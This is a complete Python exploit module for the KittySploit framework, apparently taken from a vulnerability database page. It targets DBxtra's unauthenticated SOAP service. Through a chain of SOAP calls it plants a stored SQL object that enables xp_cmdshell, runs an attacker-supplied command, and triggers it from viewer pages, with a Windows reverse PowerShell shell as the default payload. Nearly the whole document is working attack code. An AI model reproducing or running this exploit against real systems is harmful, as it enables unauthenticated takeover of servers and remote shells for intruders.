DBxtra .NET unauthenticated SOAP xp_cmdshell RCE
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""DBxtra .NET unauthenticated SOAP xp_cmdshell RCE."""
from __future__ import annotations
import random
import re
import string
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
__info__ = {
"name": "DBxtra .NET unauthenticated SOAP xp_cmdshell RCE",
"description": (
"Unauthenticated DBxtraService.asmx chains ProjectConnectionInsertDB, "
"ProjectObjectInsertDB (xp_cmdshell SQL), UpdateDatabaseVersion, and "
"DataGrid.aspx viewer execution."
),
"author": ["KittySploit Team"],
"platform": Platform.WINDOWS,
"arch": [Arch.CMD],
"payload": {
"default": "payloads/singles/cmd/windows/reverse_powershell",
"platform": Platform.WINDOWS,
"category": PayloadCategory.CMD,
},
"references": [],
"tags": ["dbxtra", "soap", "sqli", "rce", "unauth"],
"agent": {
"risk": "critical",
"effects": ["active_exploitation", "remote_code_execution"],
"expected_requests": 8,
"reversible": False,
"approval_required": True,
"produces": ["rce", "shell"],
"chain": {
"suggested_followups": ["scanner/http/dbxtra_soap_xpcmdshell_rce_detect"],
},
},
}
_NS = "http://tempuri.org/"
_ENC_CNNSTR = (
"grmbvjOnZoFVz5qzbT7VmmDGDNwBoXyT8ieC0deWd5zomlcV4T/cJwXoxi2MmjyB"
"h+7OoI2zps0vmkjX9umHNUQH8Rz6iP33NfBxiHUp/qbEZD/KZrsOrs3RxYfLOSFX"
"UeKRnoYTz50Fnwkmi/xU1LYI6KU4kqh6DTRIgvC1/HomDspsu9IIPruFTSE6AkJU"
"6q+lEhDiJnUlKlargAHKQWFBWa9s7Nu9"
)
port = OptPort(8765, "DBxtra HTTP port", required=True)
ssl = OptBool(False, "Use HTTPS", required=False)
@staticmethod
def _xml_escape(value: str) -> str:
return (
value.replace("&", "&")
.replace("<", "<")
.replace(">", ">")
.replace('"', """)
)
def _soap(self, method: str, params_xml: str) -> tuple[int, str]:
body = (
'<?xml version="1.0" encoding="utf-8"?>'
'<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
'xmlns:xsd="http://www.w3.org/2001/XMLSchema" '
'xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">'
"<soap:Body>"
f'<{method} xmlns="{self._NS}">{params_xml}</{method}>'
"</soap:Body></soap:Envelope>"
)
resp = self.http_request(
"POST",
"/DBxtraService.asmx",
data=body.encode("utf-8"),
headers={
"Content-Type": "text/xml; charset=utf-8",
"SOAPAction": f'"{self._NS}{method}"',
},
timeout=90,
)
if not resp:
return -1, ""
return int(resp.status_code or 0), resp.text or ""
@staticmethod
def _extract_int(body: str, tag: str) -> int | None:
m = re.search(rf"<{tag}Result>(-?\d+)</{tag}Result>", body) or re.search(
rf"<{tag}>(-?\d+)</{tag}>", body
)
return int(m.group(1)) if m else None
@staticmethod
def _extract_all_int(body: str, tag: str) -> list[int]:
return [int(x) for x in re.findall(rf"<{tag}>(\d+)</{tag}>", body)]
def execute(self, cmd: str) -> str:
suffix = "".join(random.choice(string.ascii_lowercase) for _ in range(6))
obj_name = f"rce_obj_{suffix}"
cnn_name = f"rce_cnn_{suffix}"
log: list[str] = []
st, body = self._soap(
"GetProjects",
"<ProjectId>0</ProjectId><IncludeArchived>false</IncludeArchived>",
)
pids = self._extract_all_int(body, "ProjectID") or self._extract_all_int(body, "ProjectId")
if not pids:
return f"GetProjects failed HTTP {st}"
pid = pids[0]
log.append(f"project={pid}")
params = (
f"<CnnName>{cnn_name}</CnnName><ProjectId>{pid}</ProjectId>"
f"<DatabaseName>master</DatabaseName><ServerName>localhost\\SQLEXPRESS</ServerName>"
f"<IntegratedSecurity>true</IntegratedSecurity><ProviderName>SQL Server</ProviderName>"
f"<ConnectionString>{self._xml_escape(self._ENC_CNNSTR)}</ConnectionString>"
f"<Timeout>30</Timeout><Port>1433</Port><UseSSL>false</UseSSL><IsFileDSN>false</IsFileDSN>"
)
st, body = self._soap("ProjectConnectionInsertDB", params)
log.append(f"ProjectConnectionInsertDB HTTP {st} ret={self._extract_int(body, 'ProjectConnectionInsertDB')}")
st, body = self._soap(
"GetProjectConnectionsOf",
f"<ProjectId>{pid}</ProjectId><Filter>ALL</Filter><IncludeArchived>false</IncludeArchived>",
)
cnn_ids = self._extract_all_int(body, "CnnId") or self._extract_all_int(body, "CnnID")
if not cnn_ids:
return "\n".join(log) + "\nno CnnId"
cnn_id = max(cnn_ids)
sql = self._xml_escape(
"EXEC sp_configure 'show advanced options',1;RECONFIGURE;"
"EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;"
f"EXEC xp_cmdshell '{cmd.replace(chr(39), chr(39)+chr(39))}'"
)
params = (
f"<ObjectName>{obj_name}</ObjectName><ObjectType>0</ObjectType>"
f"<ProjectId>{pid}</ProjectId><SQLText>{sql}</SQLText><CnnId>{cnn_id}</CnnId>"
f"<AnonymousAccess>true</AnonymousAccess><IsPublic>false</IsPublic>"
f"<ObjectId>0</ObjectId><ParentId>0</ParentId><SortOrder>0</SortOrder>"
)
st, body = self._soap("ProjectObjectInsertDB", params)
ret = self._extract_int(body, "ProjectObjectInsertDB")
oid = ret if ret and ret > 1 else None
if not oid:
st, body = self._soap(
"GetObjectByName",
f"<ProjectId>{pid}</ProjectId><ObjectType>0</ObjectType>"
f"<ObjectName>{obj_name}</ObjectName><IncludeArchived>false</IncludeArchived>",
)
oids = self._extract_all_int(body, "ObjectId")
oid = oids[0] if oids else None
if not oid:
return "\n".join(log) + "\nobject id missing"
st, body = self._soap("UpdateDatabaseVersion", "<Version>13110</Version>")
log.append(f"UpdateDatabaseVersion HTTP {st}")
for path in (
f"/DataGrid.aspx?Id={oid}",
f"/ObjectView.aspx?ID={oid}",
f"/Report_View.aspx?ID={oid}",
):
resp = self.http_request("GET", path, timeout=90, allow_redirects=False)
code = int(getattr(resp, "status_code", 0) or 0) if resp else 0
log.append(f"trigger {path} -> HTTP {code}")
return "\n".join(log)
def check(self):
st, _ = self._soap("GetProjects", "<ProjectId>0</ProjectId><IncludeArchived>false</IncludeArchived>")
if st == 200:
return {
"vulnerable": True,
"reason": "DBxtraService.asmx accepts unauthenticated SOAP",
"confidence": "medium",
}
return {"vulnerable": False, "reason": f"SOAP probe HTTP {st}", "confidence": "low"}
def run(self):
shell = self.shell_from_payload()
if not shell:
print_error("Set payload")
return False
chk = self.check()
if not chk.get("vulnerable"):
print_error(chk.get("reason", "Target not vulnerable"))
self.not_vulnerable()
return False
print_status("Running DBxtra SOAP xp_cmdshell chain")
print_info(self.execute(shell)[:8000])
print_success("Chain complete — verify proof file or catch reverse shell")
self.vulnerable()
return True
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27 Oct 2026 13:35Current
6.1Medium risk
Vulners AI Score6.1